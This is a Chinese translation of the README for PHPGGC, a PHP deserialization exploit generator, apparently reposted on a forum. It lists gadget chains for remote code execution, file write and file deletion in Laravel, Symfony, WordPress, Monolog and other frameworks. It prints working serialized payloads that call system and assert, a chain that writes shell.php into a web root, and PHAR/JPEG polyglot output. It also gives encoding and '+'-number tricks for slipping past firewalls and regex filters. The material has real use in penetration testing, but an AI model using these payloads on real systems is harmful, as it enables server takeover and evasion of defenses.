PHPGGC是一个PHP反序列化payload库,以及生成这些payload的工具。

项目地址

https://github.com/ambionics/phpggc

PHPGGC:PHP 通用小工具链

PHPGGC 是一个包含 unserialize() 有效载荷的库以及一个从命令行或以编程方式生成它们的工具 。 当在您没有代码的网站上遇到反序列化时,或者只是在尝试构建漏洞时,此工具允许您生成有效负载,而无需执行查找小工具并将它们组合的繁琐步骤。 它可以看作是 frohoff 的 ysoserial 的等价物,但是对于 PHP。 目前,该工具支持的小工具链包括:CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、Slim、SwiftMailer、Symfony、Wordpress、Yii 和 ZendFramework。

要求

运行 PHPGGC 需要 PHP >= 5.6。

用法

运行 ./phpggc -l 以获取小工具链列表:

$ ./phpggc -l

Gadget Chains
-------------

NAME                                      VERSION                                              TYPE                   VECTOR         I
Bitrix/RCE1                               17.x.x <= 22.0.300                                   RCE (Function call)    __destruct
CakePHP/RCE1                              ? <= 3.9.6                                           RCE (Command)          __destruct
CakePHP/RCE2                              ? <= 4.2.3                                           RCE (Function call)    __destruct
CodeIgniter4/RCE1                         4.0.2 <= 4.0.3                                       RCE (Function call)    __destruct
CodeIgniter4/RCE2                         4.0.0-rc.4 <= 4.0.4+                                 RCE (Function call)    __destruct
CodeIgniter4/RCE3                         -4.1.3+                                              RCE (Function call)    __destruct
CodeIgniter4/RCE4                         4.0.0-beta.1 <= 4.0.0-rc.4                           RCE (Function call)    __destruct
Doctrine/FW1                              ?                                                    File write             __toString     *
Doctrine/FW2                              2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5                       File write             __destruct     *
Doctrine/RCE1                             1.5.1 <= 2.7.2                                       RCE (PHP code)         __destruct     *
Doctrine/RCE2                             1.11.0 <= 2.3.2                                      RCE (Function call)    __destruct     *
Dompdf/FD1                                1.1.1 <= ?                                           File delete            __destruct     *
Dompdf/FD2                                ? < 1.1.1                                            File delete            __destruct     *
Drupal7/FD1                               7.0 < ?                                              File delete            __destruct     *
Drupal7/RCE1                              7.0.8 < ?                                            RCE (Function call)    __destruct     *
Guzzle/FW1                                6.0.0 <= 6.3.3+                                      File write             __destruct
Guzzle/INFO1                              6.0.0 <= 6.3.2                                       phpinfo()              __destruct     *
Guzzle/RCE1                               6.0.0 <= 6.3.2                                       RCE (Function call)    __destruct     *
Horde/RCE1                                <= 5.2.22                                            RCE (PHP code)         __destruct     *
Kohana/FR1                                3.*                                                  File read              __toString     *
Laminas/FD1                               <= 2.11.2                                            File delete            __destruct
Laminas/FW1                               2.8.0 <= 3.0.x-dev                                   File write             __destruct     *
Laravel/RCE1                              5.4.27                                               RCE (Function call)    __destruct
Laravel/RCE2                              5.4.0 <= 8.6.9+                                      RCE (Function call)    __destruct
Laravel/RCE3                              5.5.0 <= 5.8.35                                      RCE (Function call)    __destruct     *
Laravel/RCE4                              5.4.0 <= 8.6.9+                                      RCE (Function call)    __destruct
Laravel/RCE5                              5.8.30                                               RCE (PHP code)         __destruct     *
Laravel/RCE6                              5.5.* <= 5.8.35                                      RCE (PHP code)         __destruct     *
Laravel/RCE7                              ? <= 8.16.1                                          RCE (Function call)    __destruct     *
Laravel/RCE8                              7.0.0 <= 8.6.9+                                      RCE (Function call)    __destruct     *
Laravel/RCE9                              5.4.0 <= 9.1.8+                                      RCE (Function call)    __destruct
Laravel/RCE10                             5.6.0 <= 9.1.8+                                      RCE (Function call)    __toString
Laravel/RCE11                             5.4.0 <= 9.1.8+                                      RCE (Function call)    __destruct
Laravel/RCE12                             5.8.35, 7.0.0, 9.3.10                                RCE (Function call)    __destruct     *
Magento/FW1                               ? <= 1.9.4.0                                         File write             __destruct     *
Magento/SQLI1                             ? <= 1.9.4.0                                         SQL injection          __destruct
Magento2/FD1                              *                                                    File delete            __destruct     *
Monolog/FW1                               3.0.0 <= 3.1.0+                                      File write             __destruct     *
Monolog/RCE1                              1.4.1 <= 1.6.0 1.17.2 <= 2.7.0+                      RCE (Function call)    __destruct
Monolog/RCE2                              1.4.1 <= 2.7.0+                                      RCE (Function call)    __destruct
Monolog/RCE3                              1.1.0 <= 1.10.0                                      RCE (Function call)    __destruct
Monolog/RCE4                              ? <= 2.4.4+                                          RCE (Command)          __destruct     *
Monolog/RCE5                              1.25 <= 2.7.0+                                       RCE (Function call)    __destruct
Monolog/RCE6                              1.10.0 <= 2.7.0+                                     RCE (Function call)    __destruct
Monolog/RCE7                              1.10.0 <= 2.7.0+                                     RCE (Function call)    __destruct     *
Monolog/RCE8                              3.0.0 <= 3.1.0+                                      RCE (Function call)    __destruct     *
Monolog/RCE9                              3.0.0 <= 3.1.0+                                      RCE (Function call)    __destruct     *
Phalcon/RCE1                              <= 1.2.2                                             RCE                    __wakeup       *
PHPCSFixer/FD1                            <= 2.17.3                                            File delete            __destruct
PHPCSFixer/FD2                            <= 2.17.3                                            File delete            __destruct
PHPExcel/FD1                              1.8.2+                                               File delete            __destruct
PHPExcel/FD2                              <= 1.8.1                                             File delete            __destruct
PHPExcel/FD3                              1.8.2+                                               File delete            __destruct
PHPExcel/FD4                              <= 1.8.1                                             File delete            __destruct
PHPSecLib/RCE1                            2.0.0 <= 2.0.34                                      RCE (PHP code)         __destruct     *
Pydio/Guzzle/RCE1                         < 8.2.2                                              RCE (Function call)    __toString
Slim/RCE1                                 3.8.1                                                RCE (Function call)    __toString
Smarty/FD1                                ?                                                    File delete            __destruct
Smarty/SSRF1                              ?                                                    SSRF                   __destruct     *
Spiral/RCE1                               2.7.0 <= 2.8.13                                      RCE (Function call)    __destruct
Spiral/RCE2                               -2.8+                                                RCE (Function call)    __destruct     *
SwiftMailer/FD1                           -5.4.12+, -6.2.1+                                    File delete            __destruct
SwiftMailer/FW1                           5.1.0 <= 5.4.8                                       File write             __toString
SwiftMailer/FW2                           6.0.0 <= 6.0.1                                       File write             __toString
SwiftMailer/FW3                           5.0.1                                                File write             __toString
SwiftMailer/FW4                           4.0.0 <= ?                                           File write             __destruct
Symfony/FW1                               2.5.2                                                File write             DebugImport    *
Symfony/FW2                               3.4                                                  File write             __destruct
Symfony/RCE1                              3.3                                                  RCE (Command)          __destruct     *
Symfony/RCE2                              2.3.42 < 2.6                                         RCE (PHP code)         __destruct     *
Symfony/RCE3                              2.6 <= 2.8.32                                        RCE (PHP code)         __destruct     *
Symfony/RCE4                              3.4.0-34, 4.2.0-11, 4.3.0-7                          RCE (Function call)    __destruct     *
Symfony/RCE5                              5.2.*                                                RCE (Function call)    __destruct
Symfony/RCE6                              v3.4.0-BETA4 <= v3.4.49 & v4.0.0-BETA4 <= v4.1.13    RCE (Command)          __destruct     *
TCPDF/FD1                                 <= 6.3.5                                             File delete            __destruct     *
ThinkPHP/FW1                              5.0.4-5.0.24                                         File write             __destruct     *
ThinkPHP/FW2                              5.0.0-5.0.03                                         File write             __destruct     *
ThinkPHP/RCE1                             5.1.x-5.2.x                                          RCE (Function call)    __destruct     *
ThinkPHP/RCE2                             5.0.24                                               RCE (Function call)    __destruct     *
Typo3/FD1                                 4.5.35 <= 10.4.1                                     File delete            __destruct     *
WordPress/Dompdf/RCE1                     0.8.5+ & WP < 5.5.2                                  RCE (Function call)    __destruct     *
WordPress/Dompdf/RCE2                     0.7.0 <= 0.8.4 & WP < 5.5.2                          RCE (Function call)    __destruct     *
WordPress/Guzzle/RCE1                     4.0.0 <= 6.4.1+ & WP < 5.5.2                         RCE (Function call)    __toString     *
WordPress/Guzzle/RCE2                     4.0.0 <= 6.4.1+ & WP < 5.5.2                         RCE (Function call)    __destruct     *
WordPress/P/EmailSubscribers/RCE1         4.0 <= 4.4.7+ & WP < 5.5.2                           RCE (Function call)    __destruct     *
WordPress/P/EverestForms/RCE1             1.0 <= 1.6.7+ & WP < 5.5.2                           RCE (Function call)    __destruct     *
WordPress/P/WooCommerce/RCE1              3.4.0 <= 4.1.0+ & WP < 5.5.2                         RCE (Function call)    __destruct     *
WordPress/P/WooCommerce/RCE2              <= 3.4.0 & WP < 5.5.2                                RCE (Function call)    __destruct     *
WordPress/P/YetAnotherStarsRating/RCE1    ? <= 1.8.6 & WP < 5.5.2                              RCE (Function call)    __destruct     *
WordPress/PHPExcel/RCE1                   1.8.2+ & WP < 5.5.2                                  RCE (Function call)    __toString     *
WordPress/PHPExcel/RCE2                   <= 1.8.1 & WP < 5.5.2                                RCE (Function call)    __toString     *
WordPress/PHPExcel/RCE3                   1.8.2+ & WP < 5.5.2                                  RCE (Function call)    __destruct     *
WordPress/PHPExcel/RCE4                   <= 1.8.1 & WP < 5.5.2                                RCE (Function call)    __destruct     *
WordPress/PHPExcel/RCE5                   1.8.2+ & WP < 5.5.2                                  RCE (Function call)    __destruct     *
WordPress/PHPExcel/RCE6                   <= 1.8.1 & WP < 5.5.2                                RCE (Function call)    __destruct     *
Yii/RCE1                                  1.1.20                                               RCE (Function call)    __wakeup       *
Yii2/RCE1                                 <2.0.38                                              RCE (Function call)    __destruct     *
Yii2/RCE2                                 <2.0.38                                              RCE (PHP code)         __destruct     *
ZendFramework/FD1                         ? <= 1.12.20                                         File delete            __destruct
ZendFramework/RCE1                        ? <= 1.12.20                                         RCE (PHP code)         __destruct     *
ZendFramework/RCE2                        1.11.12 <= 1.12.20                                   RCE (Function call)    __toString     *
ZendFramework/RCE3                        2.0.1 <= ?                                           RCE (Function call)    __destruct
ZendFramework/RCE4                        ? <= 1.12.20                                         RCE (PHP code)         __destruct     *
ZendFramework/RCE5                        2.0.0rc2 <= 2.5.3                                    RCE (Function call)    __destruct

过滤小工具链:

$ ./phpggc -l laravel

Gadget Chains
-------------

NAME             VERSION            TYPE                   VECTOR        I
Laravel/RCE1     5.4.27             RCE (Function call)    __destruct
Laravel/RCE10    5.6.0 <= 9.1.8+    RCE (Function call)    __toString
Laravel/RCE2     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct
Laravel/RCE3     5.5.0 <= 5.8.35    RCE (Function call)    __destruct    *
Laravel/RCE4     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct
Laravel/RCE5     5.8.30             RCE (PHP code)         __destruct    *
Laravel/RCE6     5.5.* <= 5.8.35    RCE (PHP code)         __destruct    *
Laravel/RCE7     ? <= 8.16.1        RCE (Function call)    __destruct    *
Laravel/RCE8     7.0.0 <= 8.6.9+    RCE (Function call)    __destruct    *
Laravel/RCE9     5.4.0 <= 9.1.8+    RCE (Function call)    __destruct

每个小工具链都有:

  • 名称:框架/库的名称
  • 版本:小工具适用的框架/库的版本
  • 类型:利用类型:RCE、文件写入、文件读取、包含…
  • Vector:反序列化后触发链的向量( __destruct() , __toString() , offsetGet() , …)
  • Informations:关于链的其他信息

用于 -i 获取有关链的详细信息:

$ ./phpggc -i symfony/rce1
Name           : Symfony/RCE1
Version        : 3.3
Type           : rce
Vector         : __destruct
Informations   :
Exec through proc_open()

./phpggc Symfony/RCE1 <command>

选择链后,运行 ./phpggc <gadget-chain> [parameters] 以获取有效负载。 例如,要获取 Monolog 的有效负载,您需要执行以下操作:

$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}

对于使用 SwiftMailer 写入的文件,您需要执行以下操作:

$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}

Wrapper

( --wrapper ) -w 选项允许您定义包含以下函数的 PHP 文件:

  • process_parameters(array $parameters) :之前 调用 generate() ,允许更改参数
  • process_object(object $object) :之前 调用 serialize() ,允许改变对象
  • process_serialized(string $serialized) :在 之后 调用 serialize() ,允许更改序列化字符串

例如,如果易受攻击的代码如下所示:

<?php
$data = unserialize($_GET['data']);
print $data['message'];

你可以使用__toString()链条,像这样包裹它:

<?php
# /tmp/my_wrapper.php
function process_object($object)
{
    return array(
        'message' => $object
    );
}

你会像这样调用 phpggc:

$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}

PHAR(GGC)

历史

在 BlackHat US 2018 上,@s_n_t 发布了 PHARGGC,它是 PHPGGC 的一个分支,它没有构建序列化的有效负载,而是构建了一个完整的 PHAR 文件。此 PHAR 文件包含序列化数据,因此可用于各种利用技术(file_existsfopen等)。论文在这里

执行

PHAR 档案有三种不同的格式:PHAR、TAR 和 ZIP。其中三个由 PHPGGC 支持。可以使用--phar-jpeg( -pj) 生成多语言文件。其他选项可用(使用-h)。

例子

$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id

编码器

参数允许修改有效负载的输出方式。例如,-u将对其进行 URL 编码,-b并将其转换为 base64。 有效负载通常包含 NULL 字节,不能按原样复制/粘贴。用于-s软 URL 编码,使负载可读。

编码器可以链接起来,因此顺序很重要。例如,./phpggc -b -u -u slim/rce1 system id将 base64 有效负载,然后对其进行两次 URLencode。

高级:增强功能

快速销毁

PHPGGC 实现了一个--fast-destruct( -f) 标志,这将确保您的序列化对象将在unserialize()调用后立即销毁,而不是在脚本结束时销毁。我建议将它用于每个__destructvector,因为它提高了可靠性。例如,如果 PHP 脚本在调用后引发异常,则__destruct对象的方法可能不会被调用。由于它与编码器同时处理,因此需要先进行设置。

$ ./phpggc -f -s slim/rce1 system id
a:2:{i:7;O:18:"Slim\Http\Response":2:{s:10:"...

ASCII 字符串

使用S序列化格式而不是标准s. 这会将每个非 ASCII 字符替换为十六进制表示形式: s:5:"A<null_byte>B<cr><lf>";̀->S:5:"A\00B\09\0D"; 这在出于某种原因不允许使用非 ASCII 字符(例如 NULL BYTE)时很有用。由于有效负载通常包含它们,因此这确保了有效负载仅包含 ASCII 值。 注意:这是实验性的,在某些情况下可能不起作用。

Armor 字符串

使用S序列化格式而不是标准s. 这会将每个字符替换为十六进制表示形式: s:5:"A<null_byte>B<cr><lf>";̀->S:5:"\41\00\42\09\0D"; 当防火墙或 PHP 代码阻止字符串时,这会派上用场。 注意:这是实验性的,在某些情况下可能不起作用。 注意:这会使有效负载中的每个字符串增长 3 倍。

加号

有时,PHP 脚本会使用正则表达式(例如/O:[0-9]+:. 使用O:+123:...instead of很容易绕过这一点O:123:。可以使用--plus-numbers <types>, 或-n <types>, 自动+在符号前添加这些符号。例如,要混淆对象和字符串,可以使用--n Os:请注意,从 PHP 7.2 开始,只有id(float) 类型可以有一个+.

测试你的链

要测试您要使用的小工具链是否在目标环境中工作,请跳转到您环境的文件夹并使用--test-payload选项无参数地运行链。

例如,测试是否Monolog/RCE2适用于 Symfony 4.x

$ composer create-project symfony/website-skeleton=4.x some_symfony
$ cd some_symfony
$ phpggc monolog/rce2 --test-payload
Trying to deserialize payload...
SUCCESS: Payload triggered !

0如果有效载荷被触发,退出代码将是,1否则。

针对包的每个版本测试你的链

如果您想知道小工具链适用于哪个版本的包,您可以使用test-gc-compatibility.py.

$ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
Testing 59 versions for monolog/monolog against 2 gadget chains.

┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.x-dev         │   OK    │      OK      │      KO      │
│ 2.3.0           │   OK    │      OK      │      KO      │
│ 2.2.0           │   OK    │      OK      │      KO      │
│ 2.1.1           │   OK    │      OK      │      KO      │
│ 2.1.0           │   OK    │      OK      │      KO      │
│ 2.0.2           │   OK    │      OK      │      KO      │
│ 2.0.1           │   OK    │      OK      │      KO      │
│ 2.0.0           │   OK    │      OK      │      KO      │
│ 2.0.0-beta2     │   OK    │      OK      │      KO      │
│ 2.0.0-beta1     │   OK    │      OK      │      KO      │
│ 1.x-dev         │   OK    │      OK      │      KO      │
│ 1.26.1          │   OK    │      OK      │      KO      │
│ 1.26.0          │   OK    │      OK      │      KO      │
│ 1.25.5          │   OK    │      OK      │      KO      │
│ 1.25.4          │   OK    │      OK      │      KO      │
                        ...
│ 1.0.1           │   OK    │      KO      │      KO      │
│ 1.0.0           │   OK    │      KO      │      KO      │
│ 1.0.0-RC1       │   OK    │      KO      │      KO      │
│ dev-main        │   OK    │      OK      │      KO      │
│ * dev-phpstan   │   OK    │      OK      │      KO      │
└─────────────────┴─────────┴──────────────┴──────────────┘

您可以使用以下语法指定要测试的版本。

$ ./test-gc-compatibility.py monolog/monolog:2.3.0,1.25.4 monolog/rce1 monolog/rce3
Testing 2 versions for monolog/monolog against 2 gadget chains.

┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.3.0           │   OK    │      OK      │      KO      │
│ 1.25.4          │   OK    │      OK      │      KO      │
└─────────────────┴─────────┴──────────────┴──────────────┘

应用程序接口

您可以编写 PHP 脚本,而不是将 PHPGGC 用作命令行工具:

<?php

# Include PHPGGC
include("phpggc/lib/PHPGGC.php");

# Include guzzle/rce1
$gc = new \GadgetChain\Guzzle\RCE1();

# Always process parameters unless you're doing something out of the ordinary
$parameters = $gc->process_parameters([
    'function' => 'system',
    'parameter' => 'id',
]);

# Generate the payload
$object = $gc->generate($parameters);

# Most (if not all) GC's do not use process_object and process_serialized, so
# for quick & dirty code you can omit those two
$object = $gc->process_object($object);

# Serialize the payload
$serialized = serialize($object);
$serialized = $gc->process_serialized($serialized);

# Display it
print($serialized . "\n");

# Create a PHAR file from this payload
$phar = new \PHPGGC\Phar\Tar($serialized);
file_put_contents('output.phar.tar', $phar->generate());

这使您可以更轻松地调整参数或编写漏洞利用程序。 注意:目前这是非常实验性的,所以请报告错误

贡献

pull request非常受欢迎。请遵循以下简单准则:

  • __destruct()永远是最好的矢量图
  • 至少指定你构建有效载荷的库的版本
  • 如果保留默认值,则不要在小工具定义中包含未使用的参数。它只会使有效载荷更大。
  • 尊重代码风格:例如,左括号{换行,数组应该写成 as[1, 2, 3]而不是旧的array(1, 2, 3), 符号。

在代码方面,目录结构相当简单:小工具在gadgets.php中,描述 + 逻辑在chain.php中。如果需要修改参数,您可以定义预处理和后处理方法。希望已经实现的小工具应该足以让您构建自己的小工具。否则,我很乐意回答您的问题。

--new <framework> <type>命令行选项可用于为新的小工具链创建目录和文件结构。例如,使用./phpggc -n Drupal RCE会创建一个新的 Drupal RCE gadgetchain。

Docker

如果不想安装 PHP,可以使用docker build . -t 'phpggc'.

生成小工具链。

$ docker run phpggc Monolog/rce1 'system' 'id'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:2:"id";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}

从码头运行test-gc-compatibility.py

$ docker run --entrypoint './test-gc-compatibility.py' phpggc doctrine/doctrine-bundle:2.2,2.7.2 doctrine/rce1 doctrine/rce2
Runing on PHP version ('PHP 8.1.13 (cli) (built: Nov 30 2022 21:53:44) (NTS).
Testing 2 versions for doctrine/doctrine-bundle against 2 gadget chains.

┏━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┓
┃ doctrine/doctrine-bundle ┃ Package ┃ doctrine/rce1 ┃ doctrine/rce2 ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━┩
│ 2.2                      │   OK    │      OK       │      OK       │
│ 2.7.2                    │   OK    │      OK       │      KO       │
└──────────────────────────┴─────────┴───────────────┴───────────────┘

 

请登录后发表评论

    没有回复内容